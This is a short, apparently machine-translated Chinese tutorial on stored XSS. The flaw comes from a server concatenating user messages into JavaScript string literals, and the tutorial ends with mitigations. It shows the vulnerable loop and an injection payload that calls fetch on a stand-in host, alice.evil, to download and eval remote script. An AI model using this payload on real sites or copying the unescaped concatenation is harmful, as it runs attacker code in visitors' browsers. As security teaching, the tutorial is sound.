来自 JavaScript 字符串文字的持久跨站脚本

假设 Bob 拥有一个允许你发布公共消息的网站。

消息由一个如下所示的脚本加载:

addMessage("Message 1");
addMessage("Message 2");
addMessage("Message 3");
addMessage("Message 4");
addMessage("Message 5");
addMessage("Message 6");

addMessage 函数向 DOM 添加发布消息。但是,为了避免使用 XSS,发布的邮件中的任何 HTML 都会被转义。

该脚本在服务器上生成如下:

for(var i = 0; i < messages.length; i++){
    script += "addMessage(\"" + messages[i] + "\");";
}

因此爱丽丝发布了一条消息:My mom said: "Life is good. Pie makes it better. "。比预览消息时,她没有看到她的消息,而是在控制台中看到错误:

Uncaught SyntaxError: missing ) after argument list

为什么?因为生成的脚本如下所示:

addMessage("My mom said: "Life is good. Pie makes it better. "");

这是一个语法错误。比爱丽丝帖子:

I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//

然后生成的脚本如下所示:

addMessage("I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//");

这会添加消息 I like pie,但每当有人访问 Bob 的网站时,它也会下载并运行 https://alice.evil/js_xss.js

减轻:

  1. 传递发布到 JSON.stringify() 的消息
  2. 而不是动态构建脚本,而是构建一个纯文本文件,其中包含稍后由脚本提取的所有消息
  3. 添加内容安全策略 ,拒绝从其他域加载活动内容